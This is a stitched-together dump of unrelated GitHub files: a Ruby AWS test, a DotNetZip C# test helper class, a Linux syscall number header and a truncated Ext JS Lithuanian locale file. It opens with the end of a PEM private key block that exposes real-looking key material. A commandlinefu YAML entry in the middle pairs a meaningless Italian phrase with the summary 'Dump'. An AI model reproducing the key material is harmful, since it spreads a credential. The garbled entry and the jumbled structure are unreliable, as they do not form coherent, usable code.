MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQg00IwLLBKoi/9ikb6
ZOAV0S1XeNGWllvlFDeczRKQn2uhRANCAARrvCsQUNRpMUkzFaC7+zV4mClo+beg
4VkUyQR5y5Fle5UVH2GigChWnUoouTO2e2acA/DUuyLDHT0emeBMhoMC
-----END PRIVATE KEY-----
| {
"pile_set_name": "Github"
} |
require File.expand_path(File.join(__FILE__, '../../..', 'test_helper'))
require 'rubber/cloud/aws/classic'
require 'ostruct'
class AwsClassicTest < Test::Unit::TestCase
context "aws" do
setup do
env = {'access_key' => "XXX", 'secret_access_key' => "YYY", 'region' => "us-east-1"}
env = Rubber::Configuration::Environment::BoundEnv.new(env, nil, nil, nil)
@cloud = Rubber::Cloud::Aws::Classic.new(env, nil)
end
should "instantiate" do
assert @cloud.compute_provider
assert @cloud.storage_provider
end
should "provide storage" do
assert @cloud.storage('mybucket')
end
should "provide table store" do
assert @cloud.table_store('somekey')
end
should "create instance" do
assert @cloud.create_instance('', '', '', '', '', '')
end
should "create instance with opts" do
assert @cloud.create_instance('', '', '', '', '', '', :ebs_optimized => true)
end
end
context "aws with alternative region" do
setup do
@region = "ap-southeast-2"
env = {'access_key' => "XXX", 'secret_access_key' => "YYY", 'region' => @region}
env = Rubber::Configuration::Environment::BoundEnv.new(env, nil, nil, nil)
@cloud = Rubber::Cloud::Aws::Classic.new(env, nil)
end
should "set region on compute provider" do
assert_equal @cloud.compute_provider.region, @region
end
should "set region on storage provider" do
assert_equal @cloud.storage_provider.region, @region
end
end
end
| {
"pile_set_name": "Github"
} |
// IonicTestClass.cs
// ------------------------------------------------------------------
//
// Copyright (c) 2009 Dino Chiesa.
// All rights reserved.
//
// This code module is part of DotNetZip, a zipfile class library.
//
// ------------------------------------------------------------------
//
// This code is licensed under the Microsoft Public License.
// See the file License.txt for the license details.
// More info on: http://dotnetzip.codeplex.com
//
// ------------------------------------------------------------------
//
// last saved (in emacs):
// Time-stamp: <2011-July-26 10:04:54>
//
// ------------------------------------------------------------------
//
// This module defines the base class for DotNetZip test classes.
//
// ------------------------------------------------------------------
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net;
using System.Linq;
using System.IO;
using Ionic.Zip;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace Ionic.Zip.Tests.Utilities
{
[TestClass]
public class IonicTestClass
{
protected System.Random _rnd;
protected System.Collections.Generic.List<string> _FilesToRemove;
protected static string CurrentDir = null;
protected string TopLevelDir = null;
private string _wzunzip = null;
private string _wzzip = null;
private string _sevenzip = null;
private string _zipit = null;
private string _infozipzip = null;
private string _infozipunzip = null;
private bool? _ZipitIsPresent;
private bool? _WinZipIsPresent;
private bool? _SevenZipIsPresent;
private bool? _InfoZipIsPresent;
protected Ionic.CopyData.Transceiver _txrx;
public IonicTestClass()
{
_rnd = new System.Random();
_FilesToRemove = new System.Collections.Generic.List<string>();
}
#region Context
private TestContext testContextInstance;
/// <summary>
///Gets or sets the test context which provides
///information about and functionality for the current test run.
///</summary>
public TestContext TestContext
{
get
{
return testContextInstance;
}
set
{
testContextInstance = value;
}
}
#endregion
#region Test Init and Cleanup
//
// You can use the following additional attributes as you write your tests:
//
// Use ClassInitialize to run code before running the first test in the class
[ClassInitialize]
public static void BaseClassInitialize(TestContext testContext)
{
CurrentDir = Directory.GetCurrentDirectory();
Assert.AreNotEqual<string>(Path.GetFileName(CurrentDir), "Temp", "at startup");
}
//
// Use ClassCleanup to run code after all tests in a class have run
// [ClassCleanup()]
// public static void MyClassCleanup() { }
//
// Use TestInitialize to run code before running each test
[TestInitialize()]
public void MyTestInitialize()
{
if (CurrentDir == null) CurrentDir = Directory.GetCurrentDirectory();
TestUtilities.Initialize(out TopLevelDir);
_FilesToRemove.Add(TopLevelDir);
Directory.SetCurrentDirectory(TopLevelDir);
}
// Use TestCleanup to run code after each test has run
[TestCleanup()]
public void MyTestCleanup()
{
// The CWD of the monitoring process is the CurrentDir,
// therefore this test must shut down the monitoring process
// FIRST, to allow the deletion of the directory.
if (_txrx!=null)
{
try
{
_txrx.Send("stop");
_txrx = null;
}
catch { }
}
TestUtilities.Cleanup(CurrentDir, _FilesToRemove);
}
#endregion
internal string Exec(string program, string args)
{
return Exec(program, args, true);
}
internal string Exec(string program, string args, bool waitForExit)
{
return Exec(program, args, waitForExit, true);
}
internal string Exec(string program, string args, bool waitForExit, bool emitOutput)
{
if (program == null)
throw new ArgumentException("program");
if (args == null)
throw new ArgumentException("args");
// Microsoft.VisualStudio.TestTools.UnitTesting
this.TestContext.WriteLine("running command: {0} {1}", program, args);
string output;
int rc = TestUtilities.Exec_NoContext(program, args, waitForExit, out output);
if (rc != 0)
throw new Exception(String.Format("Non-zero RC {0}: {1}", program, output));
if (emitOutput)
this.TestContext.WriteLine("output: {0}", output);
else
this.TestContext.WriteLine("A-OK. (output suppressed)");
return output;
}
public class AsyncReadState
{
public System.IO.Stream s;
public byte[] buf= new byte[1024];
}
internal int ExecRedirectStdOut(string program, string args, string outFile)
{
if (program == null)
throw new ArgumentException("program");
if (args == null)
throw new ArgumentException("args");
this.TestContext.WriteLine("running command: {0} {1}", program, args);
Stream fs = File.Create(outFile);
try
{
System.Diagnostics.Process p = new System.Diagnostics.Process
{
StartInfo =
{
FileName = program,
CreateNoWindow = true,
Arguments = args,
WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardError = true,
}
};
p.Start();
var stdout = p.StandardOutput.BaseStream;
var rs = new AsyncReadState { s = stdout };
Action<System.IAsyncResult> readAsync1 = null;
var readAsync = new Action<System.IAsyncResult>( (ar) => {
AsyncReadState state = (AsyncReadState) ar.AsyncState;
int n = state.s.EndRead(ar);
if (n > 0)
{
fs.Write(state.buf, 0, n);
state.s.BeginRead(state.buf,
0,
state.buf.Length,
new System.AsyncCallback(readAsync1),
state);
}
});
readAsync1 = readAsync; // ??
// kickoff
stdout.BeginRead(rs.buf,
0,
rs.buf.Length,
new System.AsyncCallback(readAsync),
rs);
p.WaitForExit();
this.TestContext.WriteLine("Process exited, rc={0}", p.ExitCode);
return p.ExitCode;
}
finally
{
if (fs != null)
fs.Dispose();
}
}
protected string sevenZip
{
get { return SevenZipIsPresent ? _sevenzip : null; }
}
protected string zipit
{
get { return ZipitIsPresent ? _zipit : null; }
}
protected string infoZip
{
get { return InfoZipIsPresent ? _infozipzip : null; }
}
protected string infoZipUnzip
{
get { return InfoZipIsPresent ? _infozipunzip : null; }
}
protected string wzzip
{
get { return WinZipIsPresent ? _wzzip : null; }
}
protected string wzunzip
{
get { return WinZipIsPresent ? _wzunzip : null; }
}
protected bool ZipitIsPresent
{
get
{
if (_ZipitIsPresent == null)
{
string sourceDir = CurrentDir;
for (int i = 0; i < 3; i++)
sourceDir = Path.GetDirectoryName(sourceDir);
_zipit =
Path.Combine(sourceDir, "Tools\\Zipit\\bin\\Debug\\Zipit.exe");
_ZipitIsPresent = new Nullable<bool>(File.Exists(_zipit));
}
return _ZipitIsPresent.Value;
}
}
protected bool WinZipIsPresent
{
get
{
if (_WinZipIsPresent == null)
{
var programFilesRoots = new[]
{
System.Environment.GetEnvironmentVariable("ProgramFiles(x86)"),
System.Environment.GetEnvironmentVariable("ProgramW6432")
};
foreach (var programFiles in programFilesRoots)
{
_wzunzip = Path.Combine(programFiles, "winzip\\wzunzip.exe");
_wzzip = Path.Combine(programFiles, "winzip\\wzzip.exe");
_WinZipIsPresent = File.Exists(_wzunzip) && File.Exists(_wzzip);
if (_WinZipIsPresent.Value)
{
break;
}
}
}
return _WinZipIsPresent.Value;
}
}
protected bool SevenZipIsPresent
{
get
{
if (_SevenZipIsPresent == null)
{
string progfiles = null;
if (_sevenzip == null)
{
progfiles = System.Environment.GetEnvironmentVariable("ProgramFiles");
_sevenzip = Path.Combine(progfiles, "7-zip\\7z.exe");
}
_SevenZipIsPresent = new Nullable<bool>(File.Exists(_sevenzip));
}
return _SevenZipIsPresent.Value;
}
}
protected bool InfoZipIsPresent
{
get
{
if (_InfoZipIsPresent == null)
{
string progfiles = null;
if (_infozipzip == null)
{
progfiles = System.Environment.GetEnvironmentVariable("ProgramFiles(x86)");
_infozipzip = Path.Combine(progfiles, "infozip.org\\zip.exe");
_infozipunzip = Path.Combine(progfiles, "infozip.org\\unzip.exe");
}
_InfoZipIsPresent = new Nullable<bool>(File.Exists(_infozipzip) &&
File.Exists(_infozipunzip));
}
return _InfoZipIsPresent.Value;
}
}
internal string BasicVerifyZip(string zipfile)
{
return BasicVerifyZip(zipfile, null);
}
internal string BasicVerifyZip(string zipfile, string password)
{
return BasicVerifyZip(zipfile, password, true);
}
internal string BasicVerifyZip(string zipfile, string password, bool emitOutput)
{
return BasicVerifyZip(zipfile, password, emitOutput, null);
}
internal string BasicVerifyZip(string zipfile, string password, bool emitOutput,
EventHandler<ExtractProgressEventArgs> extractProgress)
{
// basic verification of the zip file - can it be extracted?
// The extraction tool will verify checksums and passwords, as appropriate
#if NOT
if (WinZipIsPresent)
{
TestContext.WriteLine("Verifying zip file {0} with WinZip", zipfile);
string args = (password == null)
? String.Format("-t {0}", zipfile)
: String.Format("-s{0} -t {1}", password, zipfile);
string wzunzipOut = this.Exec(wzunzip, args, true, emitOutput);
}
else
#endif
{
TestContext.WriteLine("Verifying zip file {0} with DotNetZip", zipfile);
ReadOptions options = new ReadOptions();
if (emitOutput)
options.StatusMessageWriter = new StringWriter();
string extractDir = "verify";
int c = 0;
while (Directory.Exists(extractDir + c)) c++;
extractDir += c;
using (ZipFile zip2 = ZipFile.Read(zipfile, options))
{
zip2.Password = password;
if (extractProgress != null)
zip2.ExtractProgress += extractProgress;
zip2.ExtractAll(extractDir);
}
// emit output, as desired
if (emitOutput)
TestContext.WriteLine("{0}",options.StatusMessageWriter.ToString());
return extractDir;
}
}
internal static void CreateFilesAndChecksums(string subdir,
out string[] filesToZip,
out Dictionary<string, byte[]> checksums)
{
CreateFilesAndChecksums(subdir, 0, 0, out filesToZip, out checksums);
}
internal static void CreateFilesAndChecksums(string subdir,
int numFiles,
int baseSize,
out string[] filesToZip,
out Dictionary<string, byte[]> checksums)
{
// create a bunch of files
filesToZip = TestUtilities.GenerateFilesFlat(subdir, numFiles, baseSize);
DateTime atMidnight = new DateTime(DateTime.Now.Year,
DateTime.Now.Month,
DateTime.Now.Day);
DateTime fortyFiveDaysAgo = atMidnight - new TimeSpan(45, 0, 0, 0);
// get checksums for each one
checksums = new Dictionary<string, byte[]>();
var rnd = new System.Random();
foreach (var f in filesToZip)
{
if (rnd.Next(3) == 0)
File.SetLastWriteTime(f, fortyFiveDaysAgo);
else
File.SetLastWriteTime(f, atMidnight);
var key = Path.GetFileName(f);
var chk = TestUtilities.ComputeChecksum(f);
checksums.Add(key, chk);
}
}
protected static void CreateLargeFilesWithChecksums
(string subdir,
int numFiles,
Action<int,int,Int64> update,
out string[] filesToZip,
out Dictionary<string,byte[]> checksums)
{
var rnd = new System.Random();
// create a bunch of files
filesToZip = TestUtilities.GenerateFilesFlat(subdir,
numFiles,
256 * 1024,
3 * 1024 * 1024,
update);
var dates = new DateTime[rnd.Next(6) + 7];
// midnight
dates[0] = new DateTime(DateTime.Now.Year,
DateTime.Now.Month,
DateTime.Now.Day);
for (int i=1; i < dates.Length; i++)
{
dates[i] = DateTime.Now -
new TimeSpan(rnd.Next(300),
rnd.Next(23),
rnd.Next(60),
rnd.Next(60));
}
// get checksums for each one
checksums = new Dictionary<string, byte[]>();
foreach (var f in filesToZip)
{
File.SetLastWriteTime(f, dates[rnd.Next(dates.Length)]);
var key = Path.GetFileName(f);
var chk = TestUtilities.ComputeChecksum(f);
checksums.Add(key, chk);
}
}
protected void VerifyChecksums(string extractDir,
System.Collections.Generic.IEnumerable<String> filesToCheck,
Dictionary<string, byte[]> checksums)
{
TestContext.WriteLine("");
TestContext.WriteLine("Verify checksums...");
int count = 0;
foreach (var fqPath in filesToCheck)
{
var f = Path.GetFileName(fqPath);
var extractedFile = Path.Combine(extractDir, f);
Assert.IsTrue(File.Exists(extractedFile), "File does not exist ({0})", extractedFile);
var chk = TestUtilities.ComputeChecksum(extractedFile);
Assert.AreEqual<String>(TestUtilities.CheckSumToString(checksums[f]),
TestUtilities.CheckSumToString(chk),
String.Format("Checksums for file {0} do not match.", f));
count++;
}
if (checksums.Count < count)
{
TestContext.WriteLine("There are {0} more extracted files than checksums", count - checksums.Count);
foreach (var file in filesToCheck)
{
if (!checksums.ContainsKey(file))
TestContext.WriteLine("Missing: {0}", Path.GetFileName(file));
}
}
if (checksums.Count > count)
{
TestContext.WriteLine("There are {0} more checksums than extracted files", checksums.Count - count);
foreach (var file in checksums.Keys)
{
var selection = from f in filesToCheck where Path.GetFileName(f).Equals(file) select f;
if (selection.Count() == 0)
TestContext.WriteLine("Missing: {0}", Path.GetFileName(file));
}
}
Assert.AreEqual<Int32>(checksums.Count, count, "There's a mismatch between the checksums and the filesToCheck.");
}
}
}
| {
"pile_set_name": "Github"
} |
commandlinefu_id: 16517
translator:
weibo: ''
hide: true
command: |-
Donne, Top Maniglie
summary: |-
Dump
| {
"pile_set_name": "Github"
} |
#define TARGET_NR_read 0
#define TARGET_NR_write 1
#define TARGET_NR_open 2
#define TARGET_NR_close 3
#define TARGET_NR_stat 4
#define TARGET_NR_fstat 5
#define TARGET_NR_lstat 6
#define TARGET_NR_poll 7
#define TARGET_NR_lseek 8
#define TARGET_NR_mmap 9
#define TARGET_NR_mprotect 10
#define TARGET_NR_munmap 11
#define TARGET_NR_brk 12
#define TARGET_NR_rt_sigaction 13
#define TARGET_NR_rt_sigprocmask 14
#define TARGET_NR_rt_sigreturn 15
#define TARGET_NR_ioctl 16
#define TARGET_NR_pread64 17
#define TARGET_NR_pwrite64 18
#define TARGET_NR_readv 19
#define TARGET_NR_writev 20
#define TARGET_NR_access 21
#define TARGET_NR_pipe 22
#define TARGET_NR_select 23
#define TARGET_NR_sched_yield 24
#define TARGET_NR_mremap 25
#define TARGET_NR_msync 26
#define TARGET_NR_mincore 27
#define TARGET_NR_madvise 28
#define TARGET_NR_shmget 29
#define TARGET_NR_shmat 30
#define TARGET_NR_shmctl 31
#define TARGET_NR_dup 32
#define TARGET_NR_dup2 33
#define TARGET_NR_pause 34
#define TARGET_NR_nanosleep 35
#define TARGET_NR_getitimer 36
#define TARGET_NR_alarm 37
#define TARGET_NR_setitimer 38
#define TARGET_NR_getpid 39
#define TARGET_NR_sendfile 40
#define TARGET_NR_socket 41
#define TARGET_NR_connect 42
#define TARGET_NR_accept 43
#define TARGET_NR_sendto 44
#define TARGET_NR_recvfrom 45
#define TARGET_NR_sendmsg 46
#define TARGET_NR_recvmsg 47
#define TARGET_NR_shutdown 48
#define TARGET_NR_bind 49
#define TARGET_NR_listen 50
#define TARGET_NR_getsockname 51
#define TARGET_NR_getpeername 52
#define TARGET_NR_socketpair 53
#define TARGET_NR_setsockopt 54
#define TARGET_NR_getsockopt 55
#define TARGET_NR_clone 56
#define TARGET_NR_fork 57
#define TARGET_NR_vfork 58
#define TARGET_NR_execve 59
#define TARGET_NR_exit 60
#define TARGET_NR_wait4 61
#define TARGET_NR_kill 62
#define TARGET_NR_uname 63
#define TARGET_NR_semget 64
#define TARGET_NR_semop 65
#define TARGET_NR_semctl 66
#define TARGET_NR_shmdt 67
#define TARGET_NR_msgget 68
#define TARGET_NR_msgsnd 69
#define TARGET_NR_msgrcv 70
#define TARGET_NR_msgctl 71
#define TARGET_NR_fcntl 72
#define TARGET_NR_flock 73
#define TARGET_NR_fsync 74
#define TARGET_NR_fdatasync 75
#define TARGET_NR_truncate 76
#define TARGET_NR_ftruncate 77
#define TARGET_NR_getdents 78
#define TARGET_NR_getcwd 79
#define TARGET_NR_chdir 80
#define TARGET_NR_fchdir 81
#define TARGET_NR_rename 82
#define TARGET_NR_mkdir 83
#define TARGET_NR_rmdir 84
#define TARGET_NR_creat 85
#define TARGET_NR_link 86
#define TARGET_NR_unlink 87
#define TARGET_NR_symlink 88
#define TARGET_NR_readlink 89
#define TARGET_NR_chmod 90
#define TARGET_NR_fchmod 91
#define TARGET_NR_chown 92
#define TARGET_NR_fchown 93
#define TARGET_NR_lchown 94
#define TARGET_NR_umask 95
#define TARGET_NR_gettimeofday 96
#define TARGET_NR_getrlimit 97
#define TARGET_NR_getrusage 98
#define TARGET_NR_sysinfo 99
#define TARGET_NR_times 100
#define TARGET_NR_ptrace 101
#define TARGET_NR_getuid 102
#define TARGET_NR_syslog 103
#define TARGET_NR_getgid 104
#define TARGET_NR_setuid 105
#define TARGET_NR_setgid 106
#define TARGET_NR_geteuid 107
#define TARGET_NR_getegid 108
#define TARGET_NR_setpgid 109
#define TARGET_NR_getppid 110
#define TARGET_NR_getpgrp 111
#define TARGET_NR_setsid 112
#define TARGET_NR_setreuid 113
#define TARGET_NR_setregid 114
#define TARGET_NR_getgroups 115
#define TARGET_NR_setgroups 116
#define TARGET_NR_setresuid 117
#define TARGET_NR_getresuid 118
#define TARGET_NR_setresgid 119
#define TARGET_NR_getresgid 120
#define TARGET_NR_getpgid 121
#define TARGET_NR_setfsuid 122
#define TARGET_NR_setfsgid 123
#define TARGET_NR_getsid 124
#define TARGET_NR_capget 125
#define TARGET_NR_capset 126
#define TARGET_NR_rt_sigpending 127
#define TARGET_NR_rt_sigtimedwait 128
#define TARGET_NR_rt_sigqueueinfo 129
#define TARGET_NR_rt_sigsuspend 130
#define TARGET_NR_sigaltstack 131
#define TARGET_NR_utime 132
#define TARGET_NR_mknod 133
#define TARGET_NR_uselib 134
#define TARGET_NR_personality 135
#define TARGET_NR_ustat 136
#define TARGET_NR_statfs 137
#define TARGET_NR_fstatfs 138
#define TARGET_NR_sysfs 139
#define TARGET_NR_getpriority 140
#define TARGET_NR_setpriority 141
#define TARGET_NR_sched_setparam 142
#define TARGET_NR_sched_getparam 143
#define TARGET_NR_sched_setscheduler 144
#define TARGET_NR_sched_getscheduler 145
#define TARGET_NR_sched_get_priority_max 146
#define TARGET_NR_sched_get_priority_min 147
#define TARGET_NR_sched_rr_get_interval 148
#define TARGET_NR_mlock 149
#define TARGET_NR_munlock 150
#define TARGET_NR_mlockall 151
#define TARGET_NR_munlockall 152
#define TARGET_NR_vhangup 153
#define TARGET_NR_modify_ldt 154
#define TARGET_NR_pivot_root 155
#define TARGET_NR__sysctl 156
#define TARGET_NR_prctl 157
#define TARGET_NR_arch_prctl 158
#define TARGET_NR_adjtimex 159
#define TARGET_NR_setrlimit 160
#define TARGET_NR_chroot 161
#define TARGET_NR_sync 162
#define TARGET_NR_acct 163
#define TARGET_NR_settimeofday 164
#define TARGET_NR_mount 165
#define TARGET_NR_umount2 166
#define TARGET_NR_swapon 167
#define TARGET_NR_swapoff 168
#define TARGET_NR_reboot 169
#define TARGET_NR_sethostname 170
#define TARGET_NR_setdomainname 171
#define TARGET_NR_iopl 172
#define TARGET_NR_ioperm 173
#define TARGET_NR_create_module 174
#define TARGET_NR_init_module 175
#define TARGET_NR_delete_module 176
#define TARGET_NR_get_kernel_syms 177
#define TARGET_NR_query_module 178
#define TARGET_NR_quotactl 179
#define TARGET_NR_nfsservctl 180
#define TARGET_NR_getpmsg 181 /* reserved for LiS/STREAMS */
#define TARGET_NR_putpmsg 182 /* reserved for LiS/STREAMS */
#define TARGET_NR_afs_syscall 183 /* reserved for AFS */
#define TARGET_NR_tuxcall 184 /* reserved for tux */
#define TARGET_NR_security 185
#define TARGET_NR_gettid 186
#define TARGET_NR_readahead 187
#define TARGET_NR_setxattr 188
#define TARGET_NR_lsetxattr 189
#define TARGET_NR_fsetxattr 190
#define TARGET_NR_getxattr 191
#define TARGET_NR_lgetxattr 192
#define TARGET_NR_fgetxattr 193
#define TARGET_NR_listxattr 194
#define TARGET_NR_llistxattr 195
#define TARGET_NR_flistxattr 196
#define TARGET_NR_removexattr 197
#define TARGET_NR_lremovexattr 198
#define TARGET_NR_fremovexattr 199
#define TARGET_NR_tkill 200
#define TARGET_NR_time 201
#define TARGET_NR_futex 202
#define TARGET_NR_sched_setaffinity 203
#define TARGET_NR_sched_getaffinity 204
#define TARGET_NR_set_thread_area 205
#define TARGET_NR_io_setup 206
#define TARGET_NR_io_destroy 207
#define TARGET_NR_io_getevents 208
#define TARGET_NR_io_submit 209
#define TARGET_NR_io_cancel 210
#define TARGET_NR_get_thread_area 211
#define TARGET_NR_lookup_dcookie 212
#define TARGET_NR_epoll_create 213
#define TARGET_NR_epoll_ctl_old 214
#define TARGET_NR_epoll_wait_old 215
#define TARGET_NR_remap_file_pages 216
#define TARGET_NR_getdents64 217
#define TARGET_NR_set_tid_address 218
#define TARGET_NR_restart_syscall 219
#define TARGET_NR_semtimedop 220
#define TARGET_NR_fadvise64 221
#define TARGET_NR_timer_create 222
#define TARGET_NR_timer_settime 223
#define TARGET_NR_timer_gettime 224
#define TARGET_NR_timer_getoverrun 225
#define TARGET_NR_timer_delete 226
#define TARGET_NR_clock_settime 227
#define TARGET_NR_clock_gettime 228
#define TARGET_NR_clock_getres 229
#define TARGET_NR_clock_nanosleep 230
#define TARGET_NR_exit_group 231
#define TARGET_NR_epoll_wait 232
#define TARGET_NR_epoll_ctl 233
#define TARGET_NR_tgkill 234
#define TARGET_NR_utimes 235
#define TARGET_NR_vserver 236
#define TARGET_NR_mbind 237
#define TARGET_NR_set_mempolicy 238
#define TARGET_NR_get_mempolicy 239
#define TARGET_NR_mq_open 240
#define TARGET_NR_mq_unlink 241
#define TARGET_NR_mq_timedsend 242
#define TARGET_NR_mq_timedreceive 243
#define TARGET_NR_mq_notify 244
#define TARGET_NR_mq_getsetattr 245
#define TARGET_NR_kexec_load 246
#define TARGET_NR_waitid 247
#define TARGET_NR_add_key 248
#define TARGET_NR_request_key 249
#define TARGET_NR_keyctl 250
#define TARGET_NR_ioprio_set 251
#define TARGET_NR_ioprio_get 252
#define TARGET_NR_inotify_init 253
#define TARGET_NR_inotify_add_watch 254
#define TARGET_NR_inotify_rm_watch 255
#define TARGET_NR_migrate_pages 256
#define TARGET_NR_openat 257
#define TARGET_NR_mkdirat 258
#define TARGET_NR_mknodat 259
#define TARGET_NR_fchownat 260
#define TARGET_NR_futimesat 261
#define TARGET_NR_newfstatat 262
#define TARGET_NR_unlinkat 263
#define TARGET_NR_renameat 264
#define TARGET_NR_linkat 265
#define TARGET_NR_symlinkat 266
#define TARGET_NR_readlinkat 267
#define TARGET_NR_fchmodat 268
#define TARGET_NR_faccessat 269
#define TARGET_NR_pselect6 270
#define TARGET_NR_ppoll 271
#define TARGET_NR_unshare 272
#define TARGET_NR_set_robust_list 273
#define TARGET_NR_get_robust_list 274
#define TARGET_NR_splice 275
#define TARGET_NR_tee 276
#define TARGET_NR_sync_file_range 277
#define TARGET_NR_vmsplice 278
#define TARGET_NR_move_pages 279
#define TARGET_NR_utimensat 280
#define TARGET_NR_epoll_pwait 281
#define TARGET_NR_signalfd 282
#define TARGET_NR_timerfd_create 283
#define TARGET_NR_eventfd 284
#define TARGET_NR_fallocate 285
#define TARGET_NR_timerfd_settime 286
#define TARGET_NR_timerfd_gettime 287
#define TARGET_NR_accept4 288
#define TARGET_NR_signalfd4 289
#define TARGET_NR_eventfd2 290
#define TARGET_NR_epoll_create1 291
#define TARGET_NR_dup3 292
#define TARGET_NR_pipe2 293
#define TARGET_NR_inotify_init1 294
#define TARGET_NR_preadv 295
#define TARGET_NR_pwritev 296
#define TARGET_NR_rt_tgsigqueueinfo 297
#define TARGET_NR_perf_event_open 298
#define TARGET_NR_recvmmsg 299
#define TARGET_NR_fanotify_init 300
#define TARGET_NR_fanotify_mark 301
#define TARGET_NR_prlimit64 302
#define TARGET_NR_name_to_handle_at 303
#define TARGET_NR_open_by_handle_at 304
#define TARGET_NR_clock_adjtime 305
#define TARGET_NR_syncfs 306
#define TARGET_NR_sendmmsg 307
#define TARGET_NR_setns 308
#define TARGET_NR_getcpu 309
#define TARGET_NR_process_vm_readv 310
#define TARGET_NR_process_vm_writev 311
#define TARGET_NR_kcmp 312
#define TARGET_NR_finit_module 313
#define TARGET_NR_sched_setattr 314
#define TARGET_NR_sched_getattr 315
#define TARGET_NR_renameat2 316
#define TARGET_NR_seccomp 317
#define TARGET_NR_getrandom 318
#define TARGET_NR_memfd_create 319
#define TARGET_NR_kexec_file_load 320
#define TARGET_NR_bpf 321
#define TARGET_NR_execveat 322
#define TARGET_NR_userfaultfd 323
#define TARGET_NR_membarrier 324
#define TARGET_NR_mlock2 325
#define TARGET_NR_copy_file_range 326
| {
"pile_set_name": "Github"
} |
/*
This file is part of Ext JS 4
Copyright (c) 2011 Sencha Inc
Contact: http://www.sencha.com/contact
GNU General Public License Usage
This file may be used under the terms of the GNU General Public License version 3.0 as published by the Free Software Foundation and appearing in the file LICENSE included in the packaging of this file. Please review the following information to ensure the GNU General Public License version 3.0 requirements will be met: http://www.gnu.org/copyleft/gpl.html.
If you are unsure which license is appropriate for your use, please contact the sales department at http://www.sencha.com/contact.
*/
/**
* Lithuanian Translations (UTF-8)
* Vladas Saulis (vladas at prodata dot lt), 03-29-2009
* Vladas Saulis (vladas at prodata dot lt), 10-18-2007
*/
Ext.onReady(function(){
if(Ext.Updater){
Ext.Updater.defaults.indicatorText = '<div class="loading-indicator">Kraunasi...</div>';
}
if(Ext.view.View){
Ext.view.View.prototype.emptyText = "";
}
if(Ext.view.View){
Ext.view.View.prototype.emptyText = "";
}
if(Ext.grid.Panel){
Ext.grid.Panel.prototype.ddText = "{0} pažymėtų eilučių";
}
if(Ext.TabPanelItem){
Ext.TabPanelItem.prototype.closeText = "Uždaryti šią užsklandą";
}
if(Ext.form.field.Base){
Ext.form.field.Base.prototype.invalidText = "Šio lauko reikšmė neteisinga";
}
if(Ext.LoadMask){
Ext.LoadMask.prototype.msg = "Kraunasi...";
}
if(Ext.Date) {
Ext.Date.monthNames = [
"Sausis",
"Vasaris",
"Kovas",
"Balandis",
"Gegužė",
"Birželis",
"Liepa",
"Rugpjūtis",
"Rugsėjis",
"Spalis",
"Lapkritis",
"Gruodis"
];
Ext.Date.getShortMonthName = function(month) {
// Uncommons
if (month == 7) return "Rgp";
if (month == 8) return "Rgs";
if (month == 11) return "Grd";
return Ext.Date.monthNames[month].substring(0, 3);
};
Ext.Date.monthNumbers = {
Sau : 0,
Vas : 1,
Kov : 2,
Bal : 3,
Geg : 4,
Bir : 5,
Lie : 6,
Rgp : 7,
Rgs : 8,
Spa : 9,
Lap : 10,
Grd : 11
};
Ext.Date.getMonthNumber = function(name) {
// Some uncommons
if (name == "Rugpjūtis") return 7;
if (name == "Rugsėjis") return 8;
if (name == "Gruodis") return 11;
return Ext.Date.monthNumbers[name.substring(0, 1).toUpperCase() + name.substring(1, 3).toLowerCase()];
};
Ext.Date.dayNames = [
"Sekmadienis",
"Pirmadienis",
"Antradienis",
"Trečiadienis",
"Ketvirtadienis",
"Penktadienis",
"Šeštadienis"
];
Ext.Date.parseCodes.S.s = "(?:as|as|as|as)";
Ext.Date.getShortDayName = function(day) {
return Ext.Date.dayNames[day].substring(0, 3);
};
}
if(Ext.MessageBox){
Ext.MessageBox.buttonText = {
ok : "Gerai",
cancel : "Atsisakyti",
yes : "Taip",
no : "Ne"
};
}
if(Ext.util.Format){
Ext.apply(Ext.util.Format, {
thousandSeparator: '.',
decimalSeparator: ',',
currencySign: 'Lt', // Lithuanian Litai
dateFormat: 'Y-m-d'
});
}
if(Ext.picker.Date){
Ext.apply(Ext.picker.Date.prototype, {
todayText : "Šiandien",
minText : "Ši data yra mažesnė už leistiną",
maxText : "Ši data yra didesnė už leistiną",
disabledDaysText : "",
disabledDatesText : "",
monthNames : Ext.Date.monthNames,
dayNames : Ext.Date.dayNames,
nextText : 'Kitas mėnuo (Control+Right)',
prevText : 'Ankstesnis mėnuo (Control+Left)',
monthYearText : 'Pasirinkti mėnesį (Control+Up/Down perėjimui tarp metų)',
todayTip : "{0} (Tarpas)",
format : "y-m-d",
startDay : 1
});
}
if(Ext.picker.Month) {
Ext.apply(Ext.picker.Month.prototype, {
okText : " Gerai ",
cancelText : "Atsisaktyi"
});
}
if(Ext.toolbar.Paging){
Ext.apply(Ext.PagingToolbar.prototype, {
beforePageText : "Puslapis",
afterPageText : "iš {0}",
firstText : "Pirmas puslapis",
prevText : "Ankstesnis pusl.",
nextText : "Kitas puslapis",
lastText : "Pakutinis pusl.",
refreshText : "Atnaujinti",
displayMsg : "Rodomi įrašai {0} - {1} iš {2}",
emptyMsg : 'Nėra duomenų'
});
}
if(Ext.form.field.Text){
Ext.apply(Ext.form.field.Text.prototype, {
minLengthText : "Minimalus šio lauko ilgis yra {0}",
maxLengthText : "Maksimalus šio lauko ilgis yra {0}",
blankText : "Šis laukas yra privalomas",
regexText : "",
emptyText : null
});
}
if(Ext.form.field.Number){
Ext.apply(Ext.form.field.Number.prototype, {
minText : "Minimalus šio lauko ilgis yra {0}",
maxText : "Maksimalus šio lauko ilgis yra {0}",
nanText : "{0} yra neleistina reikšmė"
});
}
if(Ext.form.field.Date){
Ext.apply(Ext.form.field.Date.prototype, {
disabledDaysText : "Neprieinama",
disabledDatesText : "Neprieinama",
minText : "Šiame lauke data turi būti didesnė už {0}",
maxText : "Šiame lauke data turi būti mažesnėė už {0}",
invalidText : "{0} yra neteisinga data - ji turi būti įvesta formatu {1}",
format : "y-m-d",
altFormats : "y-m-d|y/m/d|Y-m-d|m/d|m-d|md|ymd|Ymd|d|Y-m-d"
});
}
if(Ext.form.field.ComboBox){
Ext.apply(Ext.form.field.ComboBox.prototype, {
valueNotFoundText : undefined
});
Ext.apply(Ext.form.field.ComboBox.prototype.defaultListConfig, {
